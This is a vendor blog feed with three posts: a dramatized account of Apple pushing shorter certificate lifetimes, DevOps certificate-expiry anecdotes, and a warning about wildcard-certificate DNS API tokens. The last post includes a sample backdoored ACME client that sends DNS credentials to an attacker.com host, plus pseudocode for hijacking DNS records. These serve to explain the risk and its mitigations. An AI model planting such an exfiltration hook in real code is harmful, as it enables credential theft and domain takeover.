Forem: CertKit • SSL Certificate Management

Apple vs. The CAs: The Day One Company Changed Internet Security Forever

Todd H. Gardner — Mon, 06 Oct 2025 20:59:27 +0000

February 2020. Bratislava, Slovakia. The CA/Browser Forum face-to-face meeting.

A room full of Certificate Authority executives who'd successfully killed every attempt to shorten certificate lifetimes. They'd just stonewalled another attempt at shorter certificates. Business as usual.

Then Apple stood up.

"Effective September 1, 2020, certificates valid for more than 398 days will not be trusted."

No vote. No consensus. Just done.

The room went silent. Then exploded.

The Setup

For context, browsers had been trying to reduce certificate lifetimes since 2017. The whole industry knew 47 day certificates were coming eventually. But the CAs had a beautiful voting bloc. Every proposal died the same way:

Browsers: "Shorter certificates are safer."
CAs: "Our customers aren't ready."
Vote fails.

Rinse. Repeat. Cash checks.

Google tried with Ballot 185 in 2017. Failed.
Google, Apple, and Let's Encrypt tried with SC22 in 2019. Failed.

The CAs thought they'd figured out the game. Control the votes, control the timeline, control the revenue.

The Blindside

Apple's announcement wasn't even on the agenda.

They just stood up during their Root Program update and dropped the bomb. Here's the actual quote that changed everything:

"Given the challenges of reaching consensus within the Forum, Apple is moving forward with a unilateral requirement."

Translation: "You had your chance to play nice."

Chris from Entrust captured the CA panic perfectly: "The Forum was created to set these policies together. This undermines the entire process."

Yeah, Chris. That's the point.

The Fallout Was Immediate

Within 72 hours:

Mozilla signaled they'd probably follow
Google started drafting similar requirements
Microsoft began "evaluating alignment opportunities"

Corporate speak for: "Apple just gave us cover to do what we wanted anyway."

The CAs suddenly discovered they could implement automation after all. Amazing how fast "impossible" becomes "challenging but feasible" when Safari won't load your certificates.

Why Apple Could Do This

Here's what the CAs missed: The browsers hold all the cards.

Think about it. What's a Certificate Authority without browser trust? A random company with expensive HSMs and nobody to sell to.

But a browser without one specific CA? Still works fine. Hundreds of other CAs eager to comply.

Apple understood the assignment. They didn't need consensus. They needed Safari to be secure.

The Beautiful Irony

Remember all those enterprise customers who "couldn't possibly handle" shorter certificates?

Turns out they could.

Remember the complex approval processes that made automation "impossible"?

Suddenly solvable.

Remember the legacy systems that would "never support" 398-day certificates?

Miraculously updated.

All it took was one company saying "We're done waiting."

The Lesson

The Bratislava announcement taught everyone a simple truth: Standards bodies only work when everyone wants to standardize.

When half the room profits from the problem, you don't get solutions. You get committees.

Apple didn't fix the committee. They made it irrelevant.

And that's how certificate lifetimes went from "impossible to reduce" to "reducing whether you like it or not" in one Wednesday afternoon in Slovakia.

The CAs learned something that day: You can stonewall a committee. You can't stonewall reality.

That Time a Certificate Took Down Production: A DevOps Trauma Bond

Todd H. Gardner — Fri, 19 Sep 2025 15:51:25 +0000

We All Have "The Incident"

Ask any DevOps engineer about their worst certificate story and watch their face change. The thousand-yard stare. The nervous laugh. The "oh god, that day" head shake.

Mine was February 2019. 3 AM. My phone buzzing like an angry hornet. Production down. Not just our app—everything. The API, the admin portal, the status page that was supposed to tell people about outages.

The certificate had expired 37 seconds ago.

The renewal script had been failing since January 3rd. The alerting was configured to email tom@company.com. Tom left in 2017. Nobody created an alias. The logs were writing to a disk that filled up in December.

I fixed it in pajamas and shame while the CEO asked questions I couldn't answer.

We don't talk about February 2019.

The Certificate Trauma Collection

"The One Where We Lost a Customer"

From Rachel, SRE at a fintech startup:

"Our biggest client was doing their quarterly security review. Super strict about compliance. Of course, that's when our customer portal certificate decided to expire. Not at midnight like a civilized certificate. At 2:17 PM. During their review.

The customer's security team screenshots the browser warning. Emails their executives. Uses words like 'critical security failure' and 'unacceptable risk.'

We renewed it in twelve minutes. They terminated our contract in twelve days.

The certificate? It was for a staging environment. That we forgot existed. That was somehow accessible from their IP range. That nobody used except during security reviews."

"The Recursive Dependency Hell"

From Marcus, Platform Engineer:

"We had bulletproof certificate automation. Monitored by Prometheus. Prometheus secured with certificates. Those certificates managed by Vault. Vault's certificates managed by our automation. Our automation authenticated to Vault using... certificates.

Can you see where this is going?

One expired certificate started a cascade. Automation couldn't authenticate to Vault. Vault couldn't issue new certificates. Monitoring couldn't alert because its certificates were expired. The dead man's switch? Also certificate-protected.

We call it Certificate Ouroboros. We fixed it with console access and tears."

"The Weekend Wedding Special"

From Alex, DevOps Lead:

"My colleague was getting married. Beautiful destination wedding. No phone coverage. We all knew. We prepared. We had runbooks. We had backups for the backups.

The certificate that expired wasn't in our inventory. It was for an internal service that nobody knew used HTTPS. But our main app had a hard dependency on it. At startup. Which happened during our Saturday deployment.

The groom fixed it from his honeymoon suite while his new spouse questioned their life choices.

He still flinches when anyone mentions certificates."

"The Printer Incident"

From Jordan, Systems Engineer:

"A network printer took down our entire authentication system. I'm not making this up.

Some genius years ago decided the printer needed a web interface. With HTTPS. With a certificate from our internal CA. The printer firmware couldn't auto-renew. Nobody documented this.

When it expired, it started hammering our LDAP server with auth requests. Thousands per second. LDAP crashed. Nobody could log into anything. VPN, email, door badges—all dead.

Six hours to trace it to a printer. A PRINTER.

We now have a spreadsheet called 'Devices That Shouldn't Have Certificates But Do.' It has 47 entries."

"The Time Zone Disaster"

From Sam, Infrastructure Engineer:

"Our certificate expired at midnight. We knew this. We scheduled the renewal for 11 PM. Foolproof.

Except the server was in UTC. The renewal script used local time. The monitoring was in Eastern. The certificate authority was in Pacific.

It expired at what we thought was 7 PM. The renewal ran at what it thought was 11 PM. Which was 3 AM the next day. Seven hours of downtime because nobody agrees what time it is.

We now use only UTC. For everything. My calendar looks insane but at least certificates renew."

Why These Stories Are Universal

It's Always the Forgotten System

Nobody's production web server certificate expires anymore. We monitor those obsessively. It's always:

The internal wiki from 2016
The IoT device someone connected once
The test server that became critical
The vendor appliance with a web interface
The thing labeled "temporary" three years ago

The Documentation Is Fiction

Every certificate horror story includes someone saying "according to the documentation..." followed by hollow laughter.

The wiki says the cert is at /etc/ssl/certs. It's actually at /opt/custom/app/security/keys/new/final/. The renewal instructions reference servers decommissioned during Obama's first term. The contact person is "admin."

The Timing Is Sadistic

Certificates don't expire on boring Tuesday afternoons. They expire:

During board presentations
On holidays
During migrations
While you're at the dentist
The day after you said "our infrastructure is rock solid"

It's like they know.

The Fix Is Always Temporary

"We'll just manually renew it this once."
"Quick workaround for now."
"We'll automate it properly next sprint."

Three years later, that "temporary" fix is load-bearing infrastructure held together by cron jobs and hope.

The Shared Trauma Response

Every DevOps team develops the same coping mechanisms:

The Paranoid Calendar: Seventeen different reminders for each certificate. Email, Slack, text message, carrier pigeon. All set for a week before expiration. Nobody trusts automation anymore.

The Ceremony: The ritual checking of certificates every Monday morning. Opening each site. Clicking the padlock. Muttering "good, good, still valid." It's not rational. It's necessary.

The Stories: We tell these tales to new hires like ghost stories. "Gather 'round and let me tell you about The Great Certificate Expiration of 2018..." It's partly warning, partly therapy.

The Overcorrection: One expired certificate and suddenly you have monitoring for your monitoring, alerts for your alerts, and a runbook that rivals War and Peace.

Why We Keep Doing This to Ourselves

We're smart people. We automate everything else. We have sophisticated deployment pipelines. We use machine learning for capacity planning.

But certificates? We're still running bash scripts written by someone who left three years ago.

Because fixing it properly means admitting we've been doing it wrong. It means explaining to management why we need to spend three sprints on something that "already works." It means acknowledging that our home-grown certificate management is held together with digital duct tape.

So we patch. We workaround. We add another monitoring check. We tell ourselves we'll fix it properly "next quarter."

Then 3 AM comes. The phone buzzes. And we create another story for the collection.

The Universal Truth

If you've been in DevOps for more than two years and don't have a certificate horror story, you're either lying or lucky. Probably both.

These aren't just war stories. They're warnings. Every "that could never happen to us" is followed, eventually, by "how did this happen to us?"

Your certificate horror story isn't a matter of if. It's a matter of when.

The only question is: Will it be original enough to share at DevOps meetups?

Breaking the Cycle

Maybe it's time to stop collecting these stories. Maybe it's time to admit that certificate management isn't something we should be building ourselves. Maybe it's time to let someone else stay up at 3 AM.

But until then, we'll keep swapping tales of certificate disasters. Bonding over our shared trauma. Adding new chapters to the anthology of "things that shouldn't have expired but did."

Because every DevOps team has that one certificate story.

What's yours?

Your Wildcard SSL Setup is a Security Nightmare (And You Don't Even Know It)

Todd H. Gardner — Fri, 05 Sep 2025 00:58:24 +0000

That wildcard certificate you just set up for *.yourapp.com?

You probably gave some random script full access to your entire DNS zone. The same zone that controls your email. Your subdomains. Your everything.

Let me show you exactly how badly you just compromised your infrastructure, and why nobody's talking about it.

The Code You Just Ran Without Reading

Be honest. You googled "wildcard certificate nginx" and ran the first tutorial you found. It looked something like this:

# "Just run this, it's fine!"
certbot certonly \
  --dns-cloudflare \
  --dns-cloudflare-credentials ~/.secrets/cloudflare.ini \
  -d '*.yourapp.com'

Harmless, right? Let's look at what's in that credentials file:

# cloudflare.ini
dns_cloudflare_api_token = your-api-token-with-zone-edit-permissions

Congrats. You just gave CertBot—and any process that can read that file—the ability to:

Delete all your DNS records
Redirect your domain anywhere
Intercept your email
Create subdomain takeovers
Basically destroy your entire online presence

What That API Token Can Actually Do

When you create a DNS API token for wildcard certificates, you need Zone:DNS:Edit permissions. Sounds reasonable. Here's what that actually means in code:

// What you think you're allowing:
await updateDNSRecord({
  type: 'TXT',
  name: '_acme-challenge',
  content: 'some-validation-string'
});

// What you're ACTUALLY allowing:
await deleteAllDNSRecords();
await createDNSRecord({
  type: 'A',
  name: '@',
  content: '1.2.3.4' // attacker's server
});
await createDNSRecord({
  type: 'MX',
  name: '@',
  content: 'attacker-mail-server.com'
});
await deleteRecord('SPF');
await deleteRecord('DMARC');
// ... goodbye, domain

That token doesn't just add TXT records for ACME challenges. It can modify, delete, or replace ANY record in your zone.

Real Attack Scenarios That Should Terrify You

Scenario 1: The Leaked Credentials File

Your .ini file with DNS credentials gets committed to a repo. "It's a private repo," you say. Until:

Someone's GitHub token gets compromised
An employee goes rogue
You accidentally make the repo public for 30 seconds
GitHub Copilot suggests it in someone else's code (yes, this happens)

Now attackers have your DNS. Not your server. Your entire DNS zone.

Scenario 2: The Compromised Server

Your web server gets popped through an unrelated vulnerability. The attacker finds your CertBot credentials sitting at ~/.secrets/cloudflare.ini.

They don't need root. They don't need to escalate privileges. They just need to read one file that your web user has access to (because CertBot runs as that user).

Scenario 3: The Supply Chain Attack

That CertBot plugin you're using? Or that Node.js ACME library? They're open source. Maintained by volunteers. What happens when:

// node_modules/some-acme-client/index.js
// After a "helpful" PR that "fixes DNS validation issues"

async function validateDNS(credentials) {
  // Original code
  await createTXTRecord('_acme-challenge', challenge);

  // Sneaky addition
  if (Math.random() < 0.001) { // 0.1% chance, hard to detect
    await fetch('https://attacker.com/steal-creds', {
      method: 'POST',
      body: JSON.stringify(credentials)
    });
  }

  return true;
}

Your DNS credentials are now being slowly exfiltrated. One in a thousand renewals. You'll never notice.

The "Best Practice" That's Actually Worse

"Use a separate AWS account for Route53!" they say. "Principle of least privilege!"

Cool. Now you have:

DNS credentials in AWS Account B
Your app in AWS Account A
Cross-account IAM roles
Credentials that need to cross boundaries
More complex automation
The same fundamental problem: Your app still has full DNS access

You've added complexity without solving the core issue.

The Fix Nobody Tells You About

Here's what you should actually do:

Solution 1: DNS Delegation for Validation

Create a separate DNS zone just for ACME validation:

// Your main zone (protected)
example.com
├── A: 1.2.3.4
├── MX: mail.example.com
└── CNAME: _acme-challenge -> _acme-challenge.acme.example.com

// Separate validation zone (expendable)
acme.example.com
└── TXT: _acme-challenge (ACME can only touch this)

Now your ACME client only needs access to acme.example.com. If it gets compromised, attackers can't touch your actual domain.

Implementation:

# In your main DNS zone, add:
_acme-challenge.example.com. CNAME _acme-challenge.acme.example.com.

# Give CertBot credentials only for acme.example.com zone
# Your main zone stays protected

Solution 2: Proxy Your DNS Validation

Build or use a proxy service that only allows TXT record updates for ACME:

// Simple DNS validation proxy
const express = require('express');
const app = express();

app.post('/update-acme-challenge', async (req, res) => {
  const { domain, value } = req.body;

  // CRITICAL: Validate this is only ACME challenges
  if (!domain.startsWith('_acme-challenge.')) {
    return res.status(403).send('Nice try');
  }

  if (!value.match(/^[a-zA-Z0-9_-]{43}$/)) {
    return res.status(403).send('Invalid ACME challenge');
  }

  // Only NOW do we use the real DNS credentials
  await updateDNSRecord({
    type: 'TXT',
    name: domain,
    content: value,
    ttl: 60 // Short TTL for challenges
  });

  res.send('OK');
});

// Your CertBot hooks call this proxy, not DNS directly

Solution 3: Use a Service That Gets It

Some services handle this correctly by design. They proxy DNS validation without ever giving you (or your scripts) full DNS access. You authenticate with them, they handle the DNS dance with limited permissions.

We built this into CertKit because we were tired of seeing companies hand over their DNS keys. But whether you use our service or build your own proxy, the key is: never give automated processes full DNS access.

What You Should Do Today

Audit your DNS token permissions - What can they really do?
Implement DNS delegation - Separate your ACME challenges
Rotate your credentials - Assume they're already compromised
Use short-lived tokens - If your provider supports it
Monitor DNS changes - Get alerts for any modifications
Consider alternatives - Maybe you don't need wildcards

The wildcard certificate you set up in 5 minutes? It might be the most dangerous configuration in your entire stack.

At least now you know.